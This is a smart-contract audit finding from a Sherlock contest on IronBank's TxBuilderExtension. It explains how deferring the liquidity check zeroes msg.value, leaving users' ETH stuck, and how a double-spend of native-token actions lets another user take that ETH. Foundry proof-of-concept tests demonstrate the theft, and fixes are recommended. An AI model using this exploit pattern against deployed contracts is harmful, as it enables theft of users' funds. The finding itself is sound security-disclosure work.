User's ETH can be stuck and stolen in TxBuilderExtension due to Native Token actions' unexpected behaviour and double-spending

Summary

The "Native Token" actions in TxBuilderExtension have unexpected behaviour when IronBank#deferLiquidityCheck() is called and the execution is resumed. This can lead to a User's ETH being stuck in the contract.

Additionally, these functions rely on msg.value to determine the amount of ETH to be supplied or repaid, which can be leveraged by a malicious user to make a double-spending and utilize the contract's ETH balance to their own benefit.

A malicious user can steal any non-zero ETH balance in TxBuilderExtension before the owner can retrieve it (either by frontrunning or the owner being slow to realize about the situation) by leveraging double-spending behaviour of the "Native Token" actions, and this could mean stealing an honest user's ETH that gets stuck in TxBuilderExtension after they fall victim to the unexpected "Native Token" action behaviour.

Vulnerability Detail

TXBuilderExtension can be used by a user to queue and execute different actions in a single transaction. These actions can be vanilla IronBank calls, or custom functions with additional helper logic such as for wrapping/unwrapping tokens like WETH or WSTETH.

There is one special Action that can be performed by TXBuilderExtension called ACTION_DEFER_LIQUIDITY_CHECK, which will call IronBank#deferLiquidityCheck() to defer the liquidity check until the end of the actions' execution. This call to IronBank relies on a callback that IronBank will make to TxBuilderExtension which will execute TxBuilderExtension#onDeferredLiquidityCheck(). Here the process of going through each Action submitted by the user is resumed from the last processed index, and these following actions are executed in the same way as if no deferLiquidityCheck had been called.

The problem arises for the ACTION_SUPPLY_NATIVE_TOKEN and ACTION_REPAY_NATIVE_TOKEN in their supplyNativeToken() and repayNativeToken() internal functions, respectively. Both of these functions rely on the use of msg.value to determine the amount of ETH to be supplied or repaid. However, when IronBank#deferLiquidityCheck() is called and the execution is resumed, it is being done from the context of IronBank's call, instead of the original call made by the user. In this case, msg.value is 0, and the execution of both of these actions will be done successfully (IronBank's supply() and repay() both work with amount = 0) so the transaction will not revert. This means that the User that had originally sent a non-zero msg.value to TxBuilderExtension will have their ETH stuck in the contract.

Given that TxBuilderExtension has a seizeNative() function that allows the owner to retrieve ETH from the contract, these assets are technically recoverable. However, there is an additional layer to this vulnerability that makes it possible for a malicious user to steal the ETH from the contract before the owner can act. (Either by the owner acting too slowly, or by frontrunning the owner's retrieval.)

Let's keep in mind that, as per the sponsor's comment on Discord, TxBuilderExtension is meant to be a public contract deployment that multiple different users can use, hence why the execute() function is not restricted.

Given that supplyNativeToken() and repayNativeToken() make use of msg.value to determine the amount of ETH to be supplied or repaid, it is possible for a malicious user to use this to make a double-spending by submitting either of these actions two (or more) times. Normally, if TxBuilderExtension had a zero ETH balance, only the actual ETH sent on the user's call would be available and a double-spending would revert when trying to wrap the ETH. However, considering the situation in which an honest user falls victim to the unexpected behaviour previously mentioned and their ETH is present in the contract, a malicious user could submit two (or more) actions with a msg.value that is multiple of the amount of stuck ETH and leverage this double-spending behaviour to steal the honest user's ETH to perform their own actions, for example, supplying the WETH to IronBank and redeeming them later on.

Impact

A User can unexpectedly have their ETH stuck when using TxBuilderExtension's "Native Token" actions.

In conjunction, a malicious user can steal an honest user's ETH that gets stuck in TxBuilderExtension after they fall victim to the unexpected "Native Token" action behaviour.

Code Snippet

The following PoCs are done in Foundry and built upon the existing TxBuilderExtensionIntegrationTest contract.

The test setup is the same except user2 was added, as seen below:

pragma solidity ^0.8.0;

import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol";
import "forge-std/Test.sol";
import "./Common.t.sol";

interface StEthInterface {
    function submit(address _referral) external payable;
}

contract PoCTxBuilder is Test, Common {
    using SafeERC20 for IERC20;

    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
    address constant WSTETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;

    address constant feedRegistry = 0x47Fb2585D2C56Fe188D0E6ec628a38b74fCeeeDf;

    uint16 internal constant reserveFactor = 1000; // 10%
    uint16 internal constant stableCollateralFactor = 9000; // 90%
    uint16 internal constant wethCollateralFactor = 7000; // 70%
    uint16 internal constant wstethCollateralFactor = 7000; // 70%

    IronBank ib;
    MarketConfigurator configurator;
    CreditLimitManager creditLimitManager;
    PriceOracle oracle;
    TxBuilderExtension extension;

    PToken pDAI;

    address admin = address(64);
    address user1 = address(128);
    address user2 = address(256);

    function setUp() public {
        string memory url = vm.rpcUrl("mainnet");
        uint256 forkId = vm.createFork(url);
        vm.selectFork(forkId);

        ib = createIronBank(admin);

        configurator = createMarketConfigurator(admin, ib);

        vm.prank(admin);
        ib.setMarketConfigurator(address(configurator));

        creditLimitManager = createCreditLimitManager(admin, ib);

        vm.prank(admin);
        ib.setCreditLimitManager(address(creditLimitManager));

        TripleSlopeRateModel irm = createDefaultIRM();

        // List WETH, DAI, USDT and WSTETH.
        createAndListERC20Market(
            WETH,
            admin,
            ib,
            configurator,
            irm,
            reserveFactor
        );
        createAndListERC20Market(
            DAI,
            admin,
            ib,
            configurator,
            irm,
            reserveFactor
        );
        createAndListERC20Market(
            USDT,
            admin,
            ib,
            configurator,
            irm,
            reserveFactor
        );
        createAndListERC20Market(
            WSTETH,
            admin,
            ib,
            configurator,
            irm,
            reserveFactor
        );

        // List pDAI.
        pDAI = createPToken(admin, DAI);
        IBToken ibToken = createIBToken(admin, address(ib), address(pDAI));

        vm.prank(admin);
        configurator.listPTokenMarket(
            address(pDAI),
            address(ibToken),
            address(irm),
            reserveFactor
        );

        // Setup price oracle.
        oracle = createPriceOracle(admin, feedRegistry, STETH, WSTETH);

        vm.prank(admin);
        ib.setPriceOracle(address(oracle));

        setPriceForMarket(
            oracle,
            admin,
            WETH,
            Denominations.ETH,
            Denominations.USD
        );
        setPriceForMarket(oracle, admin, DAI, DAI, Denominations.USD);
        setPriceForMarket(oracle, admin, USDT, USDT, Denominations.USD);
        setPriceForMarket(oracle, admin, address(pDAI), DAI, Denominations.USD);

        // Set collateral factors.
        configureMarketAsCollateral(
            admin,
            configurator,
            WETH,
            wethCollateralFactor
        );
        configureMarketAsCollateral(
            admin,
            configurator,
            DAI,
            stableCollateralFactor
        );
        configureMarketAsCollateral(
            admin,
            configurator,
            USDT,
            stableCollateralFactor
        );
        configureMarketAsCollateral(
            admin,
            configurator,
            WSTETH,
            wstethCollateralFactor
        );
        configureMarketAsCollateral(
            admin,
            configurator,
            address(pDAI),
            stableCollateralFactor
        );

        extension = createTxBuilderExtension(admin, ib, WETH, STETH, WSTETH);

        // Give some ether to user1.
        vm.deal(user1, 10000e18);
        // Give some ether to user2.
        vm.deal(user2, 10000e18);

        // User1 converts some ether to stETH.
        vm.prank(user1);
        StEthInterface(STETH).submit{value: 1000e18}(address(0));

        // Give some tokens to admin.
        deal(WETH, admin, 10000e18);
        deal(WSTETH, admin, 10000e18);
        deal(DAI, admin, 10000000e18);
        deal(USDT, admin, 10000000e6);

        // Admin supplies some liquidity to Iron Bank.
        vm.startPrank(admin);
        IERC20(WETH).safeIncreaseAllowance(address(ib), 10000e18);
        ib.supply(admin, admin, WETH, 10000e18);
        IERC20(WSTETH).safeIncreaseAllowance(address(ib), 10000e18);
        ib.supply(admin, admin, WSTETH, 10000e18);
        IERC20(DAI).safeIncreaseAllowance(address(ib), 10000000e18);
        ib.supply(admin, admin, DAI, 10000000e18);
        IERC20(USDT).safeIncreaseAllowance(address(ib), 10000000e6);
        ib.supply(admin, admin, USDT, 10000000e6);
        vm.stopPrank();

        // User1 authorizes the extension.
        vm.prank(user1);
        ib.setUserExtension(address(extension), true);
        // User2 authorizes the extension.
        vm.prank(user2);
        ib.setUserExtension(address(extension), true);
    }
}

The following two test cases represent two scenarios in which a user can have its ETH stuck in the TxBuilderExtension contract when performing either a ACTION_SUPPLY_NATIVE_TOKEN or a ACTION_REPAY_NATIVE_TOKEN after deferring the liquidity check.

function testDeferLiquidityCheckWithSupplyNativeToken() public {
        uint256 supplyAmount1 = 50e18; // wstETH
        uint256 supplyAmount2 = 100e18; // ETH

        uint256 borrowAmount1 = 5000e6; // USDT
        uint256 borrowAmount2 = 10_000e18; // DAI

        // Give user1 some wsETH and ETH.
        deal(WSTETH, user1, supplyAmount1);
        deal(user1, supplyAmount2);

        vm.startPrank(user1);
        IERC20(WSTETH).safeIncreaseAllowance(address(ib), supplyAmount1);

        TxBuilderExtension.Action[]
            memory actions = new TxBuilderExtension.Action[](5);
        actions[0] = TxBuilderExtension.Action({
            name: "ACTION_DEFER_LIQUIDITY_CHECK",
            data: bytes("")
        }); // Defer liquidity check first and then supply.
        actions[1] = TxBuilderExtension.Action({
            name: "ACTION_SUPPLY",
            data: abi.encode(WSTETH, supplyAmount1)
        });
        actions[2] = TxBuilderExtension.Action({
            name: "ACTION_SUPPLY_NATIVE_TOKEN",
            data: bytes("")
        });
        actions[3] = TxBuilderExtension.Action({
            name: "ACTION_BORROW",
            data: abi.encode(USDT, borrowAmount1)
        });
        actions[4] = TxBuilderExtension.Action({
            name: "ACTION_BORROW",
            data: abi.encode(DAI, borrowAmount2)
        });

        extension.execute{value: supplyAmount2}(actions);
        vm.stopPrank();

        assertEq(ib.getSupplyBalance(user1, WSTETH), supplyAmount1);

        // ! User's WETH Supply Balance is 0
        assertEq(ib.getSupplyBalance(user1, WETH), 0);

        assertEq(ib.getBorrowBalance(user1, USDT), borrowAmount1);

        assertEq(ib.getBorrowBalance(user1, DAI), borrowAmount2);

        // ! The Extension's balance is now the User's sent ETH
        assertEq(address(extension).balance, supplyAmount2);
    }

    function testDeferLiquidityCheckWithRepayNativeToken() public {
        uint256 supplyAmount1 = 100_000e18; // DAI

        uint256 repayAmount1 = 10e18; // ETH
        uint256 borrowAmount1 = 10e18; // WSTETH

        // Give user1 some DAI.
        deal(DAI, user1, supplyAmount1);

        vm.startPrank(user1);
        // User had already supplied 100k DAI and taken a loan of 10 WETH.
        // In this example, the user repays his 10 WETH loan to take out a 10 WSTETH loan.
        IERC20(DAI).safeIncreaseAllowance(address(ib), supplyAmount1);
        ib.supply(user1, user1, DAI, supplyAmount1);
        ib.borrow(user1, user1, WETH, repayAmount1);

        // Set up TxBuilderExtension actions
        TxBuilderExtension.Action[]
            memory actions = new TxBuilderExtension.Action[](3);
        actions[0] = TxBuilderExtension.Action({
            name: "ACTION_DEFER_LIQUIDITY_CHECK",
            data: bytes("")
        }); // Defer liquidity check first and then repay.
        actions[1] = TxBuilderExtension.Action({
            name: "ACTION_REPAY_NATIVE_TOKEN",
            data: bytes("")
        });
        actions[2] = TxBuilderExtension.Action({
            name: "ACTION_BORROW",
            data: abi.encode(WSTETH, borrowAmount1)
        });
        // Could perform other Borrows here as well to justify deferring liquidity checks.

        // Execute
        extension.execute{value: repayAmount1}(actions);
        vm.stopPrank();

        assertEq(ib.getSupplyBalance(user1, DAI), supplyAmount1);

        // ! User's WETH Borrow Balance is still 10 WETH
        assertEq(ib.getBorrowBalance(user1, WETH), repayAmount1);

        assertEq(ib.getBorrowBalance(user1, WSTETH), borrowAmount1);

        // ! The Extension's balance is now the User's sent ETH
        assertEq(address(extension).balance, repayAmount1);
    }

Building upon the last test case, the following test case demonstrates how a malicious user could use the non-zero balance of the TxBuilderExtension contract to perform actions with it leveraging the double-spending capabilities of these functions.

function testDeferLiquidityCheckWithRepayNativeTokenTheft() public {
        uint256 supplyAmount1 = 100_000e18; // DAI

        uint256 repayAmount1 = 10e18; // ETH
        uint256 borrowAmount1 = 10e18; // WSTETH

        // Give user1 some DAI.
        deal(DAI, user1, supplyAmount1);

        vm.startPrank(user1);
        // User had already supplied 100k DAI and taken a loan of 10 WETH.
        // In this example, the user repays his 10 WETH loan to take out a 10 WSTETH loan.
        IERC20(DAI).safeIncreaseAllowance(address(ib), supplyAmount1);
        ib.supply(user1, user1, DAI, supplyAmount1);
        ib.borrow(user1, user1, WETH, repayAmount1);

        // Set up TxBuilderExtension actions
        TxBuilderExtension.Action[]
            memory actions = new TxBuilderExtension.Action[](3);
        actions[0] = TxBuilderExtension.Action({
            name: "ACTION_DEFER_LIQUIDITY_CHECK",
            data: bytes("")
        }); // Defer liquidity check first and then repay.
        actions[1] = TxBuilderExtension.Action({
            name: "ACTION_REPAY_NATIVE_TOKEN",
            data: bytes("")
        });
        actions[2] = TxBuilderExtension.Action({
            name: "ACTION_BORROW",
            data: abi.encode(WSTETH, borrowAmount1)
        });
        // Could perform other Borrows here as well to justify deferring liquidity checks.

        // Execute
        extension.execute{value: repayAmount1}(actions);
        vm.stopPrank();

        assertEq(ib.getSupplyBalance(user1, DAI), supplyAmount1);

        // ! User's WETH Borrow Balance is still 10 WETH
        assertEq(ib.getBorrowBalance(user1, WETH), repayAmount1);

        assertEq(ib.getBorrowBalance(user1, WSTETH), borrowAmount1);

        // ! The Extension's balance is now the User's sent ETH
        assertEq(address(extension).balance, repayAmount1);

        /* -------------------------------- ETH Theft ------------------------------- */

        // User2 submits multiple ACTION_SUPPLY_NATIVE_TOKEN actions to steal the ETH from the Extension.
        vm.startPrank(user2);
        // Set up TxBuilderExtension actions
        TxBuilderExtension.Action[]
            memory user2Actions = new TxBuilderExtension.Action[](2);
        user2Actions[0] = TxBuilderExtension.Action({
            name: "ACTION_SUPPLY_NATIVE_TOKEN",
            data: bytes("")
        });
        user2Actions[1] = TxBuilderExtension.Action({
            name: "ACTION_SUPPLY_NATIVE_TOKEN",
            data: bytes("")
        });

        // Execute
        // Send `repayAmount1` ETH which is the amount of ETH in the Extension.
        extension.execute{value: repayAmount1}(user2Actions);
        vm.stopPrank();

        // User2 successfully sent `repayAmount1` ETH and now has 2x the amount of ETH supplied in IronBank.
        assertEq(ib.getSupplyBalance(user2, WETH), repayAmount1 * 2);

        // User1's ETH is now stolen from the Extension.
        assertEq(address(extension).balance, 0);

        vm.prank(user2);
        ib.redeem(user2, user2, WETH, repayAmount1 * 2);

        // User2 successfully stole the ETH and took it for themselves.
        assertEq(IERC20(WETH).balanceOf(user2), repayAmount1 * 2);
    }

Tool used

Manual Review and Foundry

Recommendation

There are two issues that need to be fixed here:

To fix the unexpected behaviour of the ACTION_SUPPLY_NATIVE_TOKEN and ACTION_REPAY_NATIVE_TOKEN actions, I suggest storing the msg.value when the execute() function is called and introducing a new parameter msgValue in the executeInternal() function. This new variable can be incorporated into the encoded data passed in deferLiquidityCheck() so this information isn't lost when continuing execution coming from the callback. Additionally, this would require a rewrite of the supplyNativeToken() and repayNativeToken() functions to use the msgValue variable instead of msg.value.

To fix the double-spending issue, it would be good to keep track of whether the ETH sent has already been spent or not. If using msgValue as suggested above, this could be done by setting this value to 0 after performing a "NATIVE_TOKEN" action, and always checking if msgValue is greater than 0 before doing them. This would prevent TxBuilderExtension from performing amount = 0 calls to IronBank but the pros outweigh the cons here (assuming this truly is intended behaviour).

Duplicate of https://github.com/sherlock-audit/2023-05-ironbank-judging/issues/361

sherlock-audit / 2023-05-ironbank-judging

CMierez - User's ETH can be stuck and stolen in TxBuilderExtension due to Native Token actions' unexpected behaviour and double-spending #368